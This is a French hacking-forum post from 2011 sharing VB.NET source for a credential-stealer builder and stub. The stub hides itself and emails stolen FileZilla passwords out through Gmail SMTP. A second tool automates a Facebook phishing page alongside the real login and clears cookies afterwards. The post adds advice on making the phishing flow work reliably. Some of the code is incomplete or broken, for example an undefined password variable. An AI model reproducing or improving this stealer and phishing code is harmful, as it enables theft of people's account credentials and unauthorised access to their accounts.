Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Message a trié ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Lun 12 Déc - 00:25 (2011)    Sujet du message: Message a trié Répondre en citant

http://athackx.wordpress.com/tag/stub/

http://repo.zenk-security.com/Programmation/Utilisation de Stub En VB.NET.p…


Voilà comme convenu merci de NE PAS PARTAGER ==>

Soft:

|version texte|copier le code|imprimer

  1. Option Explicit On  
  2.   
  3. Imports System.Text  
  4.   
  5. Imports System.IO  
  6.   
  7. Imports System.Net.Mail  
  8.   
  9. Public Class Form1  
  10.   
  11.     Dim stub, text1, text2 As String  
  12.   
  13.     Const FileSplit = "@aDnSteal3r@"  
  14.   
  15.   
  16.   
  17.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  18.   
  19.         text1 = TextBox1.Text  
  20.   
  21.         text2 = TextBox2.Text  
  22.   
  23.         FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  24.   
  25.         stub = Space(LOF(1))  
  26.   
  27.         FileGet(1, stub)  
  28.   
  29.         FileClose(1)  
  30.   
  31.         If File.Exists("Server.exe") Then  
  32.   
  33.             My.Computer.FileSystem.DeleteFile("Server.exe")  
  34.   
  35.         End If  
  36.   
  37.         FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)  
  38.   
  39.         FilePut(1, stub & FileSplit & text1 & FileSplit & text2)  
  40.   
  41.         FileClose(1)  
  42.   
  43.         MsgBox("Server Succesfully Created!")  
  44.   
  45. End Class  





Stub:

|version texte|copier le code|imprimer

  1. Option Explicit On  
  2.   
  3. Imports System.Text  
  4.   
  5. Imports System.Net  
  6.   
  7. Imports Microsoft.Win32  
  8.   
  9. Imports System.Net.Mail  
  10.   
  11. Imports System.IO  
  12.   
  13.   
  14.   
  15. Public Class Form1  
  16.   
  17.     Dim result As Integer  
  18.   
  19.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer  
  20.   
  21.     Dim options(), text1, text2 As String  
  22.   
  23.     Const FileSplit = "@aDnSteal3r@"  
  24.   
  25.     Dim Lserver As String = IO.Path.GetFileName(Application.ExecutablePath)  
  26.   
  27.     Dim vDirectory As String  
  28.   
  29.   
  30.   
  31.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  
  32.   
  33.         FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)  
  34.   
  35.         text1 = Space(LOF(1))  
  36.   
  37.         text2 = Space(LOF(1))  
  38.   
  39.         FileGet(1, text1)  
  40.   
  41.         FileGet(1, text2)  
  42.   
  43.         FileClose(1)  
  44.   
  45.         options = Split(text1, FileSplit)  
  46.   
  47.         TextBox1.Text = options(1)  
  48.   
  49.         TextBox2.Text = options(2)  
  50.   
  51.   
  52.   
  53.   
  54.   
  55.         Me.Hide()  
  56.   
  57.         Me.Visible = False  
  58.   
  59.         Dim nl As String = vbNewLine  
  60.   
  61.         Dim MailSetup As New MailMessage  
  62.   
  63.         MailSetup.Subject = My.Computer.Name & ":"  
  64.   
  65.         MailSetup.To.Add(TextBox1.Text)  
  66.   
  67.         MailSetup.From = New MailAddress(TextBox1.Text)  
  68.   
  69.         MailSetup.Body = filezillaPass  
  70.   
  71.         Dim SMTP As New SmtpClient("smtp.gmail.com")  
  72.   
  73.         SMTP.Port = 587  
  74.   
  75.         SMTP.EnableSsl = True  
  76.   
  77.         SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)  
  78.   
  79.         SMTP.Send(MailSetup)  
  80.   
  81.     End Sub  
  82.   
  83. End Class  





Voilà tel que je te l'ai passer il ne prend rien
et n'a aucune option mis a part celle de créer le server A toi de faire le reste

Amuses toi bien avec et s'il te plait ne le partage à PERSONNE !



Salut a toi H@ckminister^^ bon ben voila le code du face



|version texte|copier le code|imprimer

  1. Imports System.Net  
  2.   
  3.   
  4.   
  5. Public Class Form1  
  6.   
  7.   
  8.   
  9.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  
  10.   
  11.         Timer1.Interval = 1000    'Timer1_Tick sera déclenché toutes les secondes.  
  12.   
  13.         Timer1.Start()            'On démarre le Timer  
  14.   
  15.         Timer2.Start()            ' le timer du compteur de visite   
  16.   
  17.         WebBrowser1.Navigate("http://www.services-webmaster.webdesign-entreprise.com/compteurs/24h.php?domaine=www.google.fr") 'Url compteur de visite  
  18.   
  19.         WebBrowser2.Navigate("") ' Url page phishing  
  20.   
  21.         WebBrowser3.Navigate("https://www.facebook.com/login.php?login_attempt=1") 'url connection facebook   
  22.   
  23.         WebBrowser4.Navigate("http://www.facebook.com/presence/popout.php")  'Url du tchat facebook  
  24.   
  25.     End Sub  
  26.   
  27.   
  28.   
  29.     Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click  '<---Bouton connexion  
  30.   
  31.         Timer3.Start()  
  32.   
  33.         WebBrowser2.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))  
  34.   
  35.         WebBrowser2.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))  
  36.   
  37.         WebBrowser2.Document.GetElementById("").InvokeMember("click")  ' action click sur connexion page phishing remplacé login par l'id du bouton connexion de ta page phishing  
  38.   
  39.         WebBrowser3.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))  
  40.   
  41.         WebBrowser3.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))  
  42.   
  43.         WebBrowser3.Document.GetElementById("login").InvokeMember("click") ' action click sur connexion page facebook  
  44.   
  45.     End Sub  
  46.   
  47.   
  48.   
  49.     Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  50.   
  51.         Label1.Text = Now.ToLongTimeString    'Affiche l'heure format long.          
  52.   
  53.     End Sub  
  54.   
  55.   
  56.   
  57.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick  
  58.   
  59.         Me.WebBrowser1.Refresh() '  pour grossir un max le compteur de visite  
  60.   
  61.     End Sub  
  62.   
  63.   
  64.   
  65.     Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick  
  66.   
  67.         ProgressBar1.Increment(1)  
  68.   
  69.         If ProgressBar1ProgressBar1.Value = ProgressBar1.Maximum Then  
  70.   
  71.             Timer3.Stop()  
  72.   
  73.             ProgressBar1.Hide()  
  74.   
  75.             WebBrowser4.Show() ' affiche le tchat caché jusque la sinon il s' affiche avant d etre connecté et montre un formulaire de connexion  
  76.   
  77.         End If  
  78.   
  79.     End Sub  
  80.   
  81.   
  82.   
  83.     Private Sub Form1_FormClosed(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles MyBase.FormClosed  
  84.   
  85.         System.Diagnostics.Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2") ' nettoie les cookies a la fermeture du programme  
  86.   
  87.         Timer2.Stop() ' arrêtre de rafraichir de grossir le compteur de visite   
  88.   
  89.     End Sub  
  90.   
  91.   
  92.   
  93.     
  94.   
  95. End Class   





Par contre lorsque le programme visitera la page de conexion facebook pour la première fois la case gardé ma sessions active sera coché donc à la connection suivante le code aura un problème car il a ordre de remplir les deux chanmp email et pass hors vu que gardé la sessions active est coché seul le champ mot de pass sera disponible a la prochaine connexion :/

d'ou quelque erreur et pareil si on se trompe de mot de passe il y a erreur a la seconde tentative..

Pour évité ca faut trouvé de quoi décoché la case sessions active ce qui pour une seule page de connexion ne posera pas de soucis mais pour plusieurs peut être oui donc le mieux est d'integré dans le code une option nettoyage des cookies a la fermeture du programme et et plus d'erreur a la connexion suivante....

Pour ce qui est de l'erreur en cas de seconde tentative de mot de passe c'est due au fait que ta page phishing redirige sur un formulaire connection facebook et l'id du boutton connexion ne correspond pas a l'id de ta page phishing..

Pour palier a ca le mieux et d'avoir une page phishing juste pour ce programme sans redirection vers facebook et la le programme est parfait ^^

Voila en espérant que ca puisse t aidé Okay comme j'ai expliqué sur mon post aide Vb j'ai beaucoup testé et observé jette un oeil au post j'en dis un peu plus


Revenir en haut
Publicité






MessagePosté le: Lun 12 Déc - 00:25 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com